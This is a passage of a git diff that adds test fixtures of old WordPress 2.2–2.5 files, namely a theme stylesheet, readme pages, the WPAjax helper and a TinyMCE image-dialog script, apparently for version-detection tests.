line-height: 1.4em;
}
.widecolumn {
line-height: 1.6em;
}
.narrowcolumn .postmetadata {
text-align: center;
}
.alt {
background-color: #f8f8f8;
border-top: 1px solid #ddd;
border-bottom: 1px solid #ddd;
}
#footer {
background-color: #eee;
}
small {
font-family: Arial, Helvetica, Sans-Serif;
font-size: 0.9em;
line-height: 1.5em;
}
h1, h2, h3 {
font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
font-weight: bold;
}
h1 {
font-size: 4em;
text-align: center;
}
.description {
font-size: 1.2em;
text-align: center;
}
h2 {
font-size: 1.6em;
}
h2.pagetitle {
font-size: 1.6em;
}
#sidebar h2 {
font-family: 'Lucida Grande', Verdana, Sans-Serif;
font-size: 1.2em;
}
h3 {
font-size: 1.3em;
}
h1, h1 a, h1 a:hover, h1 a:visited, .description {
text-decoration: none;
color: white;
}
h2, h2 a, h2 a:visited, h3, h3 a, h3 a:visited {
color: #333;
}
h2, h2 a, h2 a:hover, h2 a:visited, h3, h3 a, h3 a:hover, h3 a:visited, #sidebar h2, #wp-calendar caption, cite {
text-decoration: none;
}
.entry p a:visited {
color: #b85b5a;
}
.commentlist li, #commentform input, #commentform textarea {
font: 0.9em 'Lucida Grande', Verdana, Arial, Sans-Serif;
}
.commentlist li {
font-weight: bold;
}
.commentlist cite, .commentlist cite a {
font-weight: bold;
font-style: normal;
font-size: 1.1em;
}
.commentlist p {
font-weight: normal;
line-height: 1.5em;
text-transform: none;
}
#commentform p {
font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
}
.commentmetadata {
font-weight: normal;
}
#sidebar {
font: 1em 'Lucida Grande', Verdana, Arial, Sans-Serif;
}
small, #sidebar ul ul li, #sidebar ul ol li, .nocomments, .postmetadata, blockquote, strike {
color: #777;
}
code {
font: 1.1em 'Courier New', Courier, Fixed;
}
acronym, abbr, span.caps
{
font-size: 0.9em;
letter-spacing: .07em;
}
a, h2 a:hover, h3 a:hover {
color: #06c;
text-decoration: none;
}
a:hover {
color: #147;
text-decoration: underline;
}
#wp-calendar #prev a {
font-size: 9pt;
}
#wp-calendar a {
text-decoration: none;
}
#wp-calendar caption {
font: bold 1.3em 'Lucida Grande', Verdana, Arial, Sans-Serif;
text-align: center;
}
#wp-calendar th {
font-style: normal;
text-transform: capitalize;
}
/* End Typography & Colors */
/* Begin Structure */
body {
margin: 0;
padding: 0;
}
#page {
background-color: white;
margin: 20px auto;
padding: 0;
width: 760px;
border: 1px solid #959596;
}
#header {
padding: 0;
margin: 0 auto;
height: 200px;
width: 100%;
background-color: #73a0c5;
}
#headerimg {
margin: 0;
height: 200px;
width: 100%;
}
.narrowcolumn {
float: left;
padding: 0 0 20px 45px;
margin: 0px 0 0;
width: 450px;
}
.widecolumn {
padding: 10px 0 20px 0;
margin: 5px 0 0 150px;
width: 450px;
}
.post {
margin: 0 0 40px;
text-align: justify;
}
.widecolumn .post {
margin: 0;
}
.narrowcolumn .postmetadata {
padding-top: 5px;
}
.widecolumn .postmetadata {
margin: 30px 0;
}
.widecolumn .smallattachment {
text-align: center;
float: left;
width: 128px;
margin: 5px 5px 5px 0px;
}
.widecolumn .attachment {
text-align: center;
margin: 5px 0px;
}
.postmetadata {
clear: left;
}
#footer {
padding: 0 0 0 1px;
margin: 0 auto;
width: 760px;
clear: both;
}
#footer p {
margin: 0;
padding: 20px 0;
text-align: center;
}
/* End Structure */
/* Begin Headers */
h1 {
padding-top: 70px;
margin: 0;
}
.description {
text-align: center;
}
h2 {
margin: 30px 0 0;
}
h2.pagetitle {
margin-top: 30px;
text-align: center;
}
#sidebar h2 {
margin: 5px 0 0;
padding: 0;
}
h3 {
padding: 0;
margin: 30px 0 0;
}
h3.comments {
padding: 0;
margin: 40px auto 20px ;
}
/* End Headers */
/* Begin Images */
p img {
padding: 0;
max-width: 100%;
}
/* Using 'class="alignright"' on an image will (who would've
thought?!) align the image to the right. And using 'class="centered',
will of course center the image. This is much better than using
align="center", being much more futureproof (and valid) */
img.centered {
display: block;
margin-left: auto;
margin-right: auto;
}
img.alignright {
padding: 4px;
margin: 0 0 2px 7px;
display: inline;
}
img.alignleft {
padding: 4px;
margin: 0 7px 2px 0;
display: inline;
}
.alignright {
float: right;
}
.alignleft {
float: left
}
/* End Images */
/* Begin Lists
Special stylized non-IE bullets
Do not work in Internet Explorer, which merely default to normal bullets. */
html>body .entry ul {
margin-left: 0px;
padding: 0 0 0 30px;
list-style: none;
padding-left: 10px;
text-indent: -10px;
}
html>body .entry li {
margin: 7px 0 8px 10px;
}
.entry ul li:before, #sidebar ul ul li:before {
content: "\00BB \0020";
}
.entry ol {
padding: 0 0 0 35px;
margin: 0;
}
.entry ol li {
margin: 0;
padding: 0;
}
.postmetadata ul, .postmetadata li {
display: inline;
list-style-type: none;
list-style-image: none;
}
#sidebar ul, #sidebar ul ol {
margin: 0;
padding: 0;
}
#sidebar ul li {
list-style-type: none;
list-style-image: none;
margin-bottom: 15px;
}
#sidebar ul p, #sidebar ul select {
margin: 5px 0 8px;
}
#sidebar ul ul, #sidebar ul ol {
margin: 5px 0 0 10px;
}
#sidebar ul ul ul, #sidebar ul ol {
margin: 0 0 0 10px;
}
ol li, #sidebar ul ol li {
list-style: decimal outside;
}
#sidebar ul ul li, #sidebar ul ol li {
margin: 3px 0 0;
padding: 0;
}
/* End Entry Lists */
/* Begin Form Elements */
#searchform {
margin: 10px auto;
padding: 5px 3px;
text-align: center;
}
#sidebar #searchform #s {
width: 115px;
padding: 2px;
}
#sidebar #searchsubmit {
padding: 1px;
}
.entry form { /* This is mainly for password protected posts, makes them look better. */
text-align:center;
}
select {
width: 130px;
}
#commentform input {
width: 170px;
padding: 2px;
margin: 5px 5px 1px 0;
}
#commentform textarea {
width: 100%;
padding: 2px;
}
#commentform #submit {
margin: 0;
float: right;
}
/* End Form Elements */
/* Begin Comments*/
.alt {
margin: 0;
padding: 10px;
}
.commentlist {
padding: 0;
text-align: justify;
}
.commentlist li {
margin: 15px 0 3px;
padding: 5px 10px 3px;
list-style: none;
}
.commentlist p {
margin: 10px 5px 10px 0;
}
#commentform p {
margin: 5px 0;
}
.nocomments {
text-align: center;
margin: 0;
padding: 0;
}
.commentmetadata {
margin: 0;
display: block;
}
/* End Comments */
/* Begin Sidebar */
#sidebar
{
padding: 20px 0 10px 0;
margin-left: 545px;
width: 190px;
}
#sidebar form {
margin: 0;
}
/* End Sidebar */
/* Begin Calendar */
#wp-calendar {
empty-cells: show;
margin: 10px auto 0;
width: 155px;
}
#wp-calendar #next a {
padding-right: 10px;
text-align: right;
}
#wp-calendar #prev a {
padding-left: 10px;
text-align: left;
}
#wp-calendar a {
display: block;
}
#wp-calendar caption {
text-align: center;
width: 100%;
}
#wp-calendar td {
padding: 3px 0;
text-align: center;
}
#wp-calendar td.pad:hover { /* Doesn't work in IE */
background-color: #fff; }
/* End Calendar */
/* Begin Various Tags & Classes */
acronym, abbr, span.caps {
cursor: help;
}
acronym, abbr {
border-bottom: 1px dashed #999;
}
blockquote {
margin: 15px 30px 0 10px;
padding-left: 20px;
border-left: 5px solid #ddd;
}
blockquote cite {
margin: 5px 0 0;
display: block;
}
.center {
text-align: center;
}
hr {
display: none;
}
a img {
border: none;
}
.navigation {
display: block;
text-align: center;
margin-top: 10px;
margin-bottom: 60px;
}
/* End Various Tags & Classes*/
/* "Daisy, Daisy, give me your answer do. I'm half crazy all for the love of you.
It won't be a stylish marriage, I can't afford a carriage.
But you'll look sweet upon the seat of a bicycle built for two." */

91
spec/fixtures/wp_versions/2.2/readme.html vendored Executable file
View File

@@ -0,0 +1,91 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>WordPress &rsaquo; ReadMe</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="wp-admin/install.css" type="text/css" />
</head>
<body>
<h1 id="logo" style="text-align: center">
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
<br /> Version 2.2
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code></li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.2:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1>System Recommendations</h1>
<ul>
<li>PHP version <strong>4.2</strong> or higher.</li>
<li>MySQL version <strong>4.0</strong> or higher.</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1>XML-RPC and Atom Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,100 @@
var WPAjax = Class.create();
Object.extend(WPAjax.prototype, Ajax.Request.prototype);
Object.extend(WPAjax.prototype, {
WPComplete: false, // onComplete function
WPError: false, // onWPError function
defaultUrl: '', // We get these from WPAjaxL10n
permText: '',
strangeText: '',
whoaText: '',
initialize: function(url, responseEl) {
var tempObj = this;
this.transport = Ajax.getTransport();
if ( !this.transport )
return false;
this.setOptions( {
parameters: 'cookie=' + encodeURIComponent(document.cookie),
onComplete: function(transport) { // transport = XMLHttpRequest object
if ( tempObj.parseAjaxResponse() ) {
if ( 'function' == typeof tempObj.WPComplete )
tempObj.WPComplete(transport);
} else if ( 'function' == typeof tempObj.WPError ) // if response corresponds to an error (bad data, say, not 404)
tempObj.WPError(transport);
}
});
this.url = url ? url : this.defaultUrl;
this.getResponseElement(responseEl);
},
addArg: function(key, value) {
var a = [];
a[encodeURIComponent(key)] = encodeURIComponent(value);
this.options.parameters = $H(this.options.parameters).merge($H(a));
},
getResponseElement: function(r) {
var p = $(r + '-p');
if ( !p ) {
new Insertion.Bottom(r, "<span id='" + r + "-p'></span>");
var p = $(r + '-p');
}
this.myResponseElement = p;
},
parseAjaxResponse: function() { // 1 = good, 0 = strange (bad data?), -1 = you lack permission
if ( this.transport.responseXML && typeof this.transport.responseXML == 'object' && ( this.transport.responseXML.xml || 'undefined' == typeof this.transport.responseXML.xml ) ) {
var err = this.transport.responseXML.getElementsByTagName('wp_error');
if ( err[0] ) {
var msg = $A(err).inject( '', function(a, b) { return a + '<p>' + b.firstChild.nodeValue + '</p>'; } );
Element.update(this.myResponseElement,'<div class="error">' + msg + '</div>');
return false;
}
return true;
}
var r = this.transport.responseText;
if ( isNaN(r) ) {
Element.update(this.myResponseElement,'<div class="error"><p>' + r + '</p></div>');
return false;
}
var r = parseInt(r,10);
if ( -1 == r ) {
Element.update(this.myResponseElement,"<div class='error'><p>" + this.permText + "</p></div>");
return false;
} else if ( 0 == r ) {
Element.update(this.myResponseElement,"<div class='error'><p>" + this.strangeText + "</p></div>");
return false;
}
return true;
},
addOnComplete: function(f) {
if ( 'function' == typeof f ) { var of = this.WPComplete; this.WPComplete = function(t) { if ( of ) of(t); f(t); } }
},
addOnWPError: function(f) {
if ( 'function' == typeof f ) { var of = this.WPError; this.WPError = function(t) { if ( of ) of(t); f(t); } }
},
notInitialized: function() {
return this.transport ? false : true;
}
});
Event.observe( window, 'load', function() { Object.extend(WPAjax.prototype, WPAjaxL10n); }, false )
Ajax.activeSendCount = 0;
Ajax.Responders.register( {
onCreate: function() {
Ajax.activeSendCount++;
if ( 1 != Ajax.activeSendCount )
return;
wpBeforeUnload = window.onbeforeunload;
window.onbeforeunload = function() {
return WPAjax.whoaText;
}
},
onLoading: function() { // Can switch to onLoaded if we lose data
Ajax.activeSendCount--;
if ( 0 != Ajax.activeSendCount )
return;
window.onbeforeunload = wpBeforeUnload;
}
});
//Pretty func adapted from ALA http://www.alistapart.com/articles/gettingstartedwithajax
function getNodeValue(tree,el){try { var r = tree.getElementsByTagName(el)[0].firstChild.nodeValue; } catch(err) { var r = null; } return r; }

91
spec/fixtures/wp_versions/2.5.1/readme.html vendored Executable file
View File

@@ -0,0 +1,91 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &rsaquo; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
</head>
<body>
<h1 id="logo" style="text-align: center">
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
<br /> Version 2.5
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code></li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.5:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1>System Recommendations</h1>
<ul>
<li>PHP version <strong>4.3</strong> or higher.</li>
<li>MySQL version <strong>4.0</strong> or higher.</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1>XML-RPC and Atom Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,254 @@
var ImageDialog = {
preInit : function() {
var url;
tinyMCEPopup.requireLangPack();
if (url = tinyMCEPopup.getParam("external_image_list_url"))
document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>');
},
init : function() {
var f = document.forms[0], ed = tinyMCEPopup.editor;
// Setup browse button
document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image');
if (isVisible('srcbrowser'))
document.getElementById('src').style.width = '180px';
e = ed.selection.getNode();
this.fillFileList('image_list', 'tinyMCEImageList');
if (e.nodeName == 'IMG') {
f.src.value = ed.dom.getAttrib(e, 'src');
f.alt.value = ed.dom.getAttrib(e, 'alt');
f.border.value = this.getAttrib(e, 'border');
f.vspace.value = this.getAttrib(e, 'vspace');
f.hspace.value = this.getAttrib(e, 'hspace');
f.width.value = ed.dom.getAttrib(e, 'width');
f.height.value = ed.dom.getAttrib(e, 'height');
f.insert.value = ed.getLang('update');
f.class_name.value = ed.dom.getAttrib(e, 'class');
this.styleVal = ed.dom.getAttrib(e, 'style');
selectByValue(f, 'image_list', f.src.value);
selectByValue(f, 'align', this.getAttrib(e, 'align'));
this.updateStyle();
}
},
fillFileList : function(id, l) {
var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl;
l = window[l];
if (l && l.length > 0) {
lst.options[lst.options.length] = new Option('', '');
tinymce.each(l, function(o) {
lst.options[lst.options.length] = new Option(o[0], o[1]);
});
} else
dom.remove(dom.getParent(id, 'tr'));
},
update : function() {
var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, args = {}, el;
tinyMCEPopup.restoreSelection();
if (f.src.value === '') {
if (ed.selection.getNode().nodeName == 'IMG') {
ed.dom.remove(ed.selection.getNode());
ed.execCommand('mceRepaint');
}
tinyMCEPopup.close();
return;
}
if (!ed.settings.inline_styles) {
args = tinymce.extend(args, {
vspace : nl.vspace.value,
hspace : nl.hspace.value,
border : nl.border.value,
align : getSelectValue(f, 'align')
});
} else
args.style = this.styleVal;
tinymce.extend(args, {
src : f.src.value,
alt : f.alt.value,
width : f.width.value,
height : f.height.value,
'class' : f.class_name.value
});
el = ed.selection.getNode();
if (el && el.nodeName == 'IMG') {
ed.dom.setAttribs(el, args);
} else {
ed.execCommand('mceInsertContent', false, '<img id="__mce_tmp" src="javascript:;" />', {skip_undo : 1});
ed.dom.setAttribs('__mce_tmp', args);
ed.dom.setAttrib('__mce_tmp', 'id', '');
ed.undoManager.add();
}
tinyMCEPopup.close();
},
updateStyle : function() {
var dom = tinyMCEPopup.dom, st, v, cls, oldcls, rep, f = document.forms[0];
if (tinyMCEPopup.editor.settings.inline_styles) {
st = tinyMCEPopup.dom.parseStyle(this.styleVal);
// Handle align
v = getSelectValue(f, 'align');
cls = f.class_name.value || '';
cls = cls ? cls.replace(/alignright\s*|alignleft\s*|aligncenter\s*/g, '') : '';
cls = cls ? cls.replace(/^\s*(.+?)\s*$/, '$1') : '';
if (v) {
if (v == 'left' || v == 'right') {
st['float'] = v;
delete st['vertical-align'];
oldcls = cls ? ' '+cls : '';
f.class_name.value = 'align' + v + oldcls;
} else {
st['vertical-align'] = v;
delete st['float'];
f.class_name.value = cls;
}
} else {
delete st['float'];
delete st['vertical-align'];
f.class_name.value = cls;
}
// Handle border
v = f.border.value;
if (v || v == '0') {
if (v == '0')
st['border'] = '0';
else
st['border'] = v + 'px solid black';
} else
delete st['border'];
// Handle hspace
v = f.hspace.value;
if (v) {
delete st['margin'];
st['margin-left'] = v + 'px';
st['margin-right'] = v + 'px';
} else {
delete st['margin-left'];
delete st['margin-right'];
}
// Handle vspace
v = f.vspace.value;
if (v) {
delete st['margin'];
st['margin-top'] = v + 'px';
st['margin-bottom'] = v + 'px';
} else {
delete st['margin-top'];
delete st['margin-bottom'];
}
// Merge
st = tinyMCEPopup.dom.parseStyle(dom.serializeStyle(st));
this.styleVal = dom.serializeStyle(st);
}
},
getAttrib : function(e, at) {
var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2;
if (ed.settings.inline_styles) {
switch (at) {
case 'align':
if (v = dom.getStyle(e, 'float'))
return v;
if (v = dom.getStyle(e, 'vertical-align'))
return v;
break;
case 'hspace':
v = dom.getStyle(e, 'margin-left')
v2 = dom.getStyle(e, 'margin-right');
if (v && v == v2)
return parseInt(v.replace(/[^0-9]/g, ''));
break;
case 'vspace':
v = dom.getStyle(e, 'margin-top')
v2 = dom.getStyle(e, 'margin-bottom');
if (v && v == v2)
return parseInt(v.replace(/[^0-9]/g, ''));
break;
case 'border':
v = 0;
tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) {
sv = dom.getStyle(e, 'border-' + sv + '-width');
// False or not the same as prev
if (!sv || (sv != v && v !== 0)) {
v = 0;
return false;
}
if (sv)
v = sv;
});
if (v)
return parseInt(v.replace(/[^0-9]/g, ''));
break;
}
}
if (v = dom.getAttrib(e, at))
return v;
return '';
},
resetImageData : function() {
var f = document.forms[0];
f.width.value = f.height.value = "";
},
updateImageData : function() {
var f = document.forms[0], t = ImageDialog;
if (f.width.value == "")
f.width.value = t.preloadImg.width;
if (f.height.value == "")
f.height.value = t.preloadImg.height;
},
getImageData : function() {
var f = document.forms[0];
this.preloadImg = new Image();
this.preloadImg.onload = this.updateImageData;
this.preloadImg.onerror = this.resetImageData;
this.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.src.value);
}
};
ImageDialog.preInit();
tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog);

91
spec/fixtures/wp_versions/2.5/readme.html vendored Executable file
View File

@@ -0,0 +1,91 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &rsaquo; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
</head>
<body>
<h1 id="logo" style="text-align: center">
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
<br /> Version 2.5
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code></li>
<li>Upload everything.</li>
